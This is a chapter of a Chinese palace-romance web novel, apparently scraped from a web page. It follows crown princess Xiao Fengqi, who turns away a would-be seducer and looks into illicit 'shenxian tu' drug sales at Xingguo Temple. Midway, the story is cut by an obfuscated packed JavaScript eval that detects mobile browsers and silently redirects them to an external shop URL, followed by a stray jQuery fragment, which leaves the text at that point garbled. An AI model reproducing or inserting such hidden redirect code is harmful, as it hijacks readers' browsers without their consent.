萧凤栖将门轻轻关上,见屋内光线昏暗不禁皱眉。
“唤我来有何事?”
没有回话,萧凤栖耐心地绕过屏风,目光不经意往床榻上扫去,骤然愣在原地。
商扶砚双眸低垂不敢与萧凤栖对视,却能感觉到她的视线在自己身上停留。
美人计?
萧凤栖来了兴致,走近。
商扶砚无意识地咽了口唾沫。
“抬起头来。”萧凤栖笑着说。
商扶砚照做,身上露出的肌肤微微泛红,再加上他那一张脸,给人以强烈的视觉冲击。
“白天直说不成,晚上改成色诱了?”
萧凤栖俯身捡起商扶砚扯开衣裳上垂下的系带。
用力一扯——
商扶砚脸上恰到好处露出一丝惊愕和羞涩,顺势往前一凑,与萧凤栖仅一指距离。
“不知我这昏招,殿下可还受用?”商扶砚垂眸问道。
萧凤栖没有说话,只是盯着他看。
商扶砚甚至都能感受到萧凤栖往他脸上呼出的热气。
距离太近了,商扶砚迟钝想着。
就在他思考着是不是自己还应该主动点时,萧凤栖动了。
她直起身,往后退了两步。
原先有些暧昧的距离,一下变得界限分明。
“你来这也有几日了,应当知道我是个什么性子。”
萧凤栖双手抱前,脸上带着一丝遗憾。
“我对逼良为娼这事没兴趣,衣裳穿好,至于你说的那个事,我再考虑考虑。”
说罢,她就直接转身离开,连回头都无。
殿外,灵珠还在和灵茶在那咬耳朵,满脸兴奋,明眼人都知道她们在聊什么话题。
见萧凤栖出来,灵茶最新反应过来,顺带扯了扯灵珠。
“一盏茶后,进去把灭了的烛台点上。”萧凤栖对灵珠吩咐。
灵珠乖巧点头,老实看着地面。
萧凤栖心情不太好,也懒得说她,直接带人离开偏殿。
“殿下,咱们回主殿吗?”灵茶跟在后头小心翼翼问道。
“去听雨阁,真是最近太惯着他了。”
萧凤栖只觉得有一团火在心里压着。
虽然商扶砚装的很好,但她靠近时下意识的后退不会骗人,眼底的抗拒和脸上不自然的表情也不会骗人。
可真正让她感到恼怒且无措的并不是他的抗拒,而是在感知到时自己内心流露出的一丝难过。
她可是萧凤栖,皇太女,大虞下一任女帝。
可如今却因为一个无关紧要的人,产生了那么一点类似伤心的情绪。
萧凤栖把这一切归结于最近见到人次数太频繁而导致的错觉。
看来,得冷一冷了。
柳清缘本来都快歇息了,听下人来报,又急忙披上外衫到门口迎接。
“殿下,我——”
“进去说。”萧凤栖打断道。
柳清缘愣了愣,又迅速扬起笑容点头。
“我今日路过了琅轩阁。”
进了殿内,萧凤栖直截了当说。
柳清缘脸色白了些,却还是继续听着。
“琅轩阁还需整改一番。”萧凤栖神色认真,反倒令柳清缘松了口气的同时又歇了心思。
“我不能长时间在琅轩阁里,偶有疏漏,还请殿下告知。”
虽然他是琅轩阁背后的店家,但毕竟长时间在宫中,店里的情况都是由靠谱的人定时汇报于他,出现疏漏也是在意料之中。
“我明日会详细写于纸上,到时让灵茶交于你。”
萧凤栖起身向床榻走去。
柳清缘点头,自觉睡到一旁的贵妃榻上。
等第二日再醒时,意外的萧凤栖竟还未离开。
“今日在你这用早膳。”
柳清缘心里自然是欣喜的,看着下人服侍萧凤栖洗漱,自己则起身坐到古琴后随心弹奏。
他还未离开琅轩阁时就是如此,早上醒来时先练琴,等清醒后才去洗漱和用早膳,然后就接着练琴,其他时间大多都被占据,他只有这么些独属自己的时间。
进了宫,时间多了,但习惯已经刻进骨里。
伴随着轻扬的琴声,早膳一道道上了桌,等准备齐了,他才停止弹琴,简单去洗漱后便坐到萧凤栖身边。
夏嬷嬷已经为萧凤栖布好菜,他只需要寻几个话头引着萧凤栖注意力即可。
正当他思索着有什么好的话头,萧凤栖竟主动开口:“过几日带你去山中别院如何?”
“自然是好的。”
柳清缘赶紧应下,能与萧凤栖一同出行,哪怕去的是黄泉路他都是极开心的。
“这几日你就在宫里休息,等到时间了我派人来接你。”
柳清缘点头,朝萧凤栖露出个笑容。
他的笑在琅轩阁时是专门练过的,最能吸引这些权贵的欣赏欲和爱惜欲。
“殿下,于公子那边有消息了。”
正当柳清缘还打算继续开口时,外头急匆匆跑进的小厮却打碎了他的一切计划。
萧凤栖慢条斯理把嘴里的吃食咽下,随后便带着夏嬷嬷离开了听雨阁。
“无事,我自行过去吧。”萧凤栖对着夏嬷嬷说道。
“那可不行,殿下您独自一人老奴实在不放心,让灵茶跟着吧。”夏嬷嬷满脸不赞同,灵茶也在一旁有些可怜地看着萧凤栖。
最后萧凤栖还是妥协带着灵茶。
“怎么说?”
宫外,于遥已经在等着她了。
“我查到兴国寺那边也有人暗中售卖神仙土。”于遥悄声说。
“兴国寺?”
兴国寺在先皇时颇具盛名,新帝不喜怪力乱神之说,因此兴国寺这几年也衰败不少。
“临近春闱,有许多学子以在兴国寺更能静心研读为由实则是偷偷用这神仙土,寺院里的人也以此来赚取钱财。”
于遥靠在车厢上,脸上尽是讽刺。
“兴国寺住持可知此事?”萧凤栖问道。
于遥轻笑:“住持若是不知,只怕是说不过去。”
到了兴国寺,几人下车。
不亏为大虞数一数二的寺院,寺院恢弘气派,里头来来往往尽是人。
“春闱将近,怕是来的人有一半都是求高中。”于遥凑在她身边说。
萧凤栖看了一圈,却在不远处的香炉前见到了熟人。
“宁棠。”萧凤栖喊道。
宁棠有些茫然转头,见是萧凤栖,脸上的表情立马变得兴奋,朝她挥了挥手:“阿栖。”
萧凤栖带着人走到她面前,见她状态挺好,这才扫了眼她身旁书生打扮的人。
模样倒是清秀,是标准的文人样貌,就是双眼狭窄,显得刻薄。
衣裳上还带着几个补丁,可见家境并不是很富裕。
那书生见萧凤栖有些愣神,还未反应过来,宁棠就扯着他的袖子着急道:“行礼啊。”
“不用这么麻烦。”萧凤栖出声道,目光在那书生身上打量着,“叫什么名字?”
“晚生姓周名楚逸,刚刚有些失态,还请殿下恕罪。”说完便做揖行礼。
虽已经尽量保持体面,但还是能看出他的拘谨。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720645|208624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“阿栖你们怎么来了?”宁棠有些好奇地看向萧凤栖和她身后的于遥。
夏婳不信这些,连带着萧凤栖对这些也无甚好感,往年只有重大日子才来一趟。
“没事,就随处看看,你们呢?”萧凤栖扯开了话题。
“我来兴国寺寻阿弟,正好碰到明非,没想到又碰上你们。”宁棠晃了晃手中已经空了的食盒。
“宁柯在兴国寺?”萧凤栖偏头与于遥互相对视。
“是,上一次从随爹娘从兴国寺回来后,他就说在兴国寺更能潜心研学,阿爹就将他送来了。”
宁棠边说着边后知后觉看向萧凤栖,脸色有些不好:“是出什么问题了?”
“暂时还未,我们可否见一见宁柯?”萧凤栖安抚道。
宁棠点头:“这是自然,我去寻住持。”
说完,宁棠就急匆匆走人,留身后的周楚逸。
许是见萧凤栖一直在与宁棠聊天,周楚逸有些不悦地抿唇,脸色不自觉放下。
后边跟着的于遥见证了他脸色变化的全过程,眼里还带着几分新奇。
周楚逸也是识眼色的,没多久就寻了个由头离开。
等他离开后,于遥才悄悄同萧凤栖说:“那书生我敢断定必是家中依仗,且自视清高。”
“说来听听。”萧凤栖挑眉。
于遥这才把他刚刚看到的一五一十告知于萧凤栖,“脸色变化如此明显还毫不避人,也是少见。”
说罢还摇头。
“非良人。”萧凤栖最后总结。
“但宁小姐好像......”于遥犹豫片刻还是把“很喜欢”三字给吞了下去。
“随她去,有夏行知从中作梗就不必我来当这个恶人。”
萧凤栖边说边仰头看向面前大殿上的牌匾。
龙飞凤舞三个字——文曲殿。
里面多是像周楚逸打扮的学子,大多都虔诚地跪在蒲团上双手合十嘴里念念有词,少有几个则心虚地东张西望,很是显眼。
就当他们准备跨过门槛时,就听后边传来声音。
“师父,寺院可还有禅房可供我儿潜心读书?多少银子我们都愿意!”
一名妆容精致的贵妇人正紧张地看着面前的和尚,身后站着的她的儿子,却是一脸无所谓。
“抱歉这位女施主,本寺的禅房已满。”和尚婉拒道。
“娘,你直接让他把那神药卖给——”
话还未说完,就被那妇人打断:“又胡说什么呢!”
还有些抱歉地看着那位和尚:“我儿任性惯了,一开口就是胡言乱语,还请师父谅解。”
那和尚表示理解地点头:“阿弥陀佛。”
那妇人就赶紧拉着她那还一脸不屑的儿子匆匆离开。
萧凤栖饶有兴致地看了整场,抬了抬下巴问身边的人:“你怎么看?”
于遥斜倚在栏杆上,不屑地嗤笑:“蛇鼠一窝。”
“那殿下我们现在该怎么办?”灵茶在后边问道。
“等宁棠来,先看看后边禅房的情况。”萧凤栖看向于遥。
于遥揉着下巴点头。
—
梧桐宫。
商扶砚早上起来时萧凤栖就不见踪影。
原先按照他的计划他得付出别的代价才可得到萧凤栖的允诺,眼下不费什么就可实现目的,可他心里的喜悦却总是被压着,让他心生烦躁。
他能感受到昨晚萧凤栖离开时是带着怒气,但他又不明白她为何生气、因何生气。
如今连人都找不到。
商扶砚看着面前的早膳却无半分胃口。